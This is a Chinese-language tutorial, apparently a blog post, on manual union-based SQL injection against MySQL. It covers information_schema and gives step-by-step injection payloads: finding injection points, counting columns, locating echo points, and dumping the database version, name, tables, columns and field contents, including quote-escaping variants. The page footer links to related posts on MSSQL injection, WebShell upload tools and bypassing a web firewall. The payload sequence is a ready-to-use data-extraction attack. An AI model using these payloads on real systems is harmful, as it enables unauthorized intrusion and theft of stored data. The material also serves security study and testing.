前提知识

数据库:就是将大量数据把保存起来,通过计算机加工而成的可以高效访问数据库的数据集合
数据库结构:
库:就是一堆表组成的数据集合
表:类似 Excel,由行和列组成的二维表
字段:表中的列称为字段
记录:表中的行称为记录
单元格:行和列相交的地方称为单元格
在数据库里有一个系统库:information_schema
在它里面有个存着所有库名的表:schemata schema_name 库名

在它里面有个存着所有表名的表:tables
表名 table_schema 表属于库 table_name  表名

在它里面还有个存着所有字段名的表:columns
table_schema 表属于库    table_name  表名      column_name 字段名

数据库结构中常用:table_schema库名 table_name表名 column_name字段名优先记忆

数据库中简单查询语句

select * from 表:从表里查询所有内容
where :有条件的从表中选取数据
and或or  :条件有点多时候从表中选取数据
order by :根据指定的结果集/指定的列进行排序
limit 0,1 :从第一行起显示一条记录
union select :将多个表拼在一起

sql注入

攻击者通过构造不同的SQL语句来实现对数据库的操作。

任何与数据库产生交互的地方都可能存在sql注入

sql显错注入-联合查询(Mysql数据库)的基本流程及常用语句

sql手注的一般流程
一、判断注入点

如为整数型注入

id=1' 后面加上'单引号,页面出错

id=1 and 1=1

id=1 and 1=2 时页面不同判断存在注入
二、判断字段数

常用order by 判断字段数

order by :ORDER BY 语句用于根据指定的列对结果集进行排序。
如:

id=1 order by 3 页面正常
id=1 order by 4 页面错误

则字段数为3

三、判断回显点

使用联合查询

id =1 and 1=2 union select 1,2,3 前面为假是会查询后面的语句,从而可获得回显点

四、查询相关内容

查询数据库版本
and 1=2 union select 1,version(),3
查询数据库库名

and 1=2 union select 1,database(),3

猜询表名
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='库名'

查询字段名
and 1=2 union select 1,group_concat(column_name),3from information_schema.columns where table_schema=database() and table_name='表名'

查询字段内容
and 1=2 union select 1,字段名 from 表名,3

若为单引号或双引号注入

考虑拼接为正常字符串进行逃逸

如;

id=1' union select 1,字段名 from 表名,3 -- +

后方为--+或-- a 或# 在很多数据库中杠杠加为注释符,在mysql中#为注释符,推荐常用--+

sql注入 --显错注入的更多相关文章

  1. [靶场实战]:SQL注入-显错注入

    SQL注入的本质:就是将用户输入的数据当作代码带入执行. 注入条件: 1.用户能控制输入 2.能够将程序原本执行的代码,拼接上用户输入的数据进行执行 首先检查是否存在注入点 Rank1: 构造语句 ? ...

  2. ref:学习笔记 UpdateXml() MYSQL显错注入

    ref:https://www.cnblogs.com/MiWhite/p/6228491.html 学习笔记 UpdateXml() MYSQL显错注入 在学习之前,需要先了解 UpdateXml( ...

  3. MSSQL注入:显错注入及反弹注入

    前言: MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路. MSSQL的显错注入操作: 以联合查询为例: 猜 ...

  4. 豹子安全-注入工具-显错注入-asp_POST_显错_SQLServer_GetWebShell

    豹子安全-注入工具-显错注入-SQL Server-上传WebShell 请看下列视频 . 该视频在停留10秒钟后开始. 或点击此处查看:豹子安全-注入工具-asp_POST_显错_SQLServer ...

  5. 十种MYSQL显错注入原理讲解(二)

    上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ...

  6. 十种MYSQL显错注入原理讲解(一)

    开篇我要说下,在<代码审计:企业级Web代码安全架构>这本书中讲十种MYSQL显错注入,讲的很清楚. 感兴趣请去读完,若处于某种原因没读还想了解,那请继续往下. 1.count,rand, ...

  7. MSSQL显错注入爆数字型数据的一点思考

    Title:MSSQL显错注入爆数字型数据的一点思考 --2011-02-22 15:23 MSSQL+ASP 最近在弄个站点,密码是纯数字的,convert(int,())转换出来不报错,也不知道其 ...

  8. 别人的渗透测试(三)--SQL显错注入

    续上一章. 安全狗拦下7成的人,过狗是门学问,偷笑.jpg.很感谢和https://home.cnblogs.com/u/xishaonian/ 博主能一起研究过狗. 说多了,言归正传SQL注入大显错 ...

  9. SQL注入——报错注入

    0x00 背景 SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利 ...

随机推荐

  1. 汇编 | x86汇编指令集大全(带注释)

    做mit-6.828的时候遇到了很多汇编知识,但是无奈学校还没学汇编,只能狠心啃啃硬骨头,在网上查到了很多的资料,归档!方便查看 ----------------------------------- ...

  2. jqgrid 自定义文本框、选择框等查询

    要实现jqgrid的自定义查询可通过表格获取查询的条件,再给jqgrid表格发送postData参数. HTML: <table id="querytable" border ...

  3. 3 Spark 集群安装

    第3章 Spark集群安装 3.1 Spark安装地址 1.官网地址 http://spark.apache.org/ 2.文档查看地址 https://spark.apache.org/docs/2 ...

  4. Kubernetes 中 Informer 的使用

    原文链接:https://mp.weixin.qq.com/s?__biz=MzU4MjQ0MTU4Ng==&mid=2247485580&idx=1&sn=7392dbadf ...

  5. golang 并发demo 写入 redis

    原文链接:golang 并发demo 写入 redis 源代码: package main import ( "fmt" "runtime" "str ...

  6. 个人项目WordCount(C++/QT)

    个人项目WordCount(C++/QT) GitHub项目地址:https://github.com/Nova-cjp/Word-Count 百度云链接:https://pan.baidu.com/ ...

  7. 怎么给Ubuntu Server安装GUI桌面

    sudo apt update sudo apt upgrade sudo add-apt-repository universe sudo add-apt-repository multiverse ...

  8. 牛客网PAT练习场-数素数

    题解:就是一道素数筛选法 题目地址:https://www.nowcoder.com/questionTerminal/e0fb49acb75f47e8b6fa2077d9071799 /** * C ...

  9. jsoup中selector的用法及作用

    1.jsoup——selector定义: selector选择器是用于对jsoup解析后document文档的数据筛选操作 2.jsoup——selector操作步骤: 1)先导jsoup架包 2)基 ...

  10. Java并发编程(08):Executor线程池框架

    本文源码:GitHub·点这里 || GitEE·点这里 一.Executor框架简介 1.基础简介 Executor系统中,将线程任务提交和任务执行进行了解耦的设计,Executor有各种功能强大的 ...